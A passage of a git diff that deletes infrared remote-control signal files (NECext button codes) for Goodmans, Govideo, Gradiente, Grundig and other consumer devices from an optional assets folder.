-# -name: SKIP_F -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4F 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 54 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: A_B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5B 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5C 00 00 00 -# -name: GOTO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5D 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Goodmans/Unknown_RC-BM/128,123.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Goodmans/Unknown_RC-BM/128,123.ir deleted file mode 100644 index 7b510936b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Goodmans/Unknown_RC-BM/128,123.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 09 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 0B 00 00 00 -# -name: TIMER_REC -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 0D 00 00 00 -# -name: AUDIO_SELECT -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 0E 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 0F 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 12 00 00 00 -# -name: VCR_ON -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 13 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 14 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 15 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 16 00 00 00 -# -name: Stop/Down -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 17 00 00 00 -# -name: FF/Right -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 18 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 19 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 1A 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 1D 00 00 00 -# -name: SPEED_SP/LP -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 1E 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 45 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 4A 00 00 00 -# -name: COUNTER_MEMORY -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 4B 00 00 00 -# -name: COUNTER_RESET -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 4C 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 4E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 50 00 00 00 -# -name: CLOCK/COUNTER -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 51 00 00 00 -# -name: ATR -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 52 00 00 00 -# -name: CALL -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Goodmans/Unknown_md305/135,108.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Goodmans/Unknown_md305/135,108.ir deleted file mode 100644 index bce4672f1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Goodmans/Unknown_md305/135,108.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 87 6C 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 87 6C 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 87 6C 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 87 6C 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 87 6C 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 87 6C 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 87 6C 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 87 6C 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 87 6C 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 87 6C 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 87 6C 00 00 -command: 0A 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 87 6C 00 00 -command: 11 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 87 6C 00 00 -command: 12 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: 87 6C 00 00 -command: 13 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 87 6C 00 00 -command: 14 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 87 6C 00 00 -command: 15 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 87 6C 00 00 -command: 16 00 00 00 -# -name: KEY_SPACE -type: parsed -protocol: NECext -address: 87 6C 00 00 -command: 17 00 00 00 -# -name: intro -type: parsed -protocol: NECext -address: 87 6C 00 00 -command: 18 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 87 6C 00 00 -command: 19 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 87 6C 00 00 -command: 1A 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 87 6C 00 00 -command: 1D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 87 6C 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 87 6C 00 00 -command: 1F 00 00 00 -# -name: band -type: parsed -protocol: NECext -address: 87 6C 00 00 -command: 43 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 87 6C 00 00 -command: 48 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 87 6C 00 00 -command: 4A 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 87 6C 00 00 -command: 4B 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 87 6C 00 00 -command: 4D 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 87 6C 00 00 -command: 4F 00 00 00 -# -name: tun+ -type: parsed -protocol: NECext -address: 87 6C 00 00 -command: 94 00 00 00 -# -name: tun- -type: parsed -protocol: NECext -address: 87 6C 00 00 -command: 95 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Govideo/Unknown_GoVideoD2730/8,230.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Govideo/Unknown_GoVideoD2730/8,230.ir deleted file mode 100644 index 63d71acf4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Govideo/Unknown_GoVideoD2730/8,230.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 00 00 00 00 -# -name: RightArrow -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 01 00 00 00 -# -name: UpArrow -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 02 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 03 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 04 00 00 00 -# -name: DownArrow -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 05 00 00 00 -# -name: LeftArrow -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 06 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 07 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 08 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 09 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 0A 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 0B 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 0C 00 00 00 -# -name: Rev -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 0D 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 0E 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 0F 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 10 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 11 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 12 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 15 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 16 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 18 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 19 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1A 00 00 00 -# -name: Network -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1C 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1D 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1E 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 50 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 51 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 52 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 53 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 54 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 55 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 56 00 00 00 -# -name: Zoom/View -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 57 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 58 00 00 00 -# -name: PS/IS -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 59 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5A 00 00 00 -# -name: Enhance -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5B 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5C 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5D 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5E 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gradiente/Unknown_D-10/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gradiente/Unknown_D-10/5,-1.ir deleted file mode 100644 index d6515c36d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gradiente/Unknown_D-10/5,-1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 18 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 19 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1A 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1C 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1E 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1F 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: RIGHT_FW -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 22 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 23 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 24 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 25 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 26 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 27 00 00 00 -# -name: UP_FW -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 28 00 00 00 -# -name: OK_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: DOWN_RW -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2A 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2B 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2C 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2D 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2E 00 00 00 -# -name: ACTIVE_MENU -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2F 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 30 00 00 00 -# -name: LEFT_RW -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: SKIP_FORWARD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 33 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: SKIP_BACK -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gradiente/Unknown_GSD-100/132,60.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gradiente/Unknown_GSD-100/132,60.ir deleted file mode 100644 index 5fdb4fa09..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gradiente/Unknown_GSD-100/132,60.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 20 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 21 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 22 00 00 00 -# -name: yellow_ok_ring -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 23 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 24 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 25 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 26 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 27 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 28 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 29 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 2A 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 2B 00 00 00 -# -name: ? -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 2C 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 30 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 31 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 32 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 33 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 34 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 35 00 00 00 -# -name: mosaic -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 36 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 37 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 38 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 39 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 3A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 3B 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 3C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gran Prix/Unknown_prix/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gran Prix/Unknown_prix/0,-1.ir deleted file mode 100644 index 0bed5f203..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gran Prix/Unknown_prix/0,-1.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: pp -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_I -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: snake -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: d.st.mo -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: txt.stop -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: txt.clock -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: txt.zoom -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: txt.question -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: txt.x -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: txt.half -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: tv.av -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: txt.on -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: txt.off -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 -# -name: m.sel -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: m.off -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6E 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6F 00 00 00 -# -name: txt.i -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grand Tech/Cable Box/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grand Tech/Cable Box/2,-1.ir deleted file mode 100644 index f34f529df..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grand Tech/Cable Box/2,-1.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: RTN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 01 00 00 00 -# -name: CHAN_UP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 04 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 05 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 06 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 07 00 00 00 -# -name: CHAN_DN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 08 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 09 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0A 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0B 00 00 00 -# -name: VOL_UP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0C 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0D 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0E 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0F 00 00 00 -# -name: VOL_DN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 10 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 13 00 00 00 -# -name: FINE+ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 14 00 00 00 -# -name: ERA -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 16 00 00 00 -# -name: ADD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 17 00 00 00 -# -name: FINE- -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 18 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1A 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Griffin/iPod/212,190.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Griffin/iPod/212,190.ir deleted file mode 100644 index 9990c1103..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Griffin/iPod/212,190.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PLAY/PAUSE -type: parsed -protocol: NECext -address: D4 BE 00 00 -command: 00 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: D4 BE 00 00 -command: 01 00 00 00 -# -name: PREVIOUS_TRACK -type: parsed -protocol: NECext -address: D4 BE 00 00 -command: 02 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: D4 BE 00 00 -command: 03 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: D4 BE 00 00 -command: 05 00 00 00 -# -name: PAGE_- -type: parsed -protocol: NECext -address: D4 BE 00 00 -command: 06 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: D4 BE 00 00 -command: 07 00 00 00 -# -name: NEXT_TRACK -type: parsed -protocol: NECext -address: D4 BE 00 00 -command: 08 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: D4 BE 00 00 -command: 09 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: D4 BE 00 00 -command: 0A 00 00 00 -# -name: CURSOR_SELECT -type: parsed -protocol: NECext -address: D4 BE 00 00 -command: 0B 00 00 00 -# -name: PAGE_+ -type: parsed -protocol: NECext -address: D4 BE 00 00 -command: 0C 00 00 00 -# -name: SETTINGS -type: parsed -protocol: NECext -address: D4 BE 00 00 -command: 0F 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: D4 BE 00 00 -command: 10 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: D4 BE 00 00 -command: 18 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: D4 BE 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Satellite/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Satellite/1,-1.ir deleted file mode 100644 index 4136ac8f8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Satellite/1,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 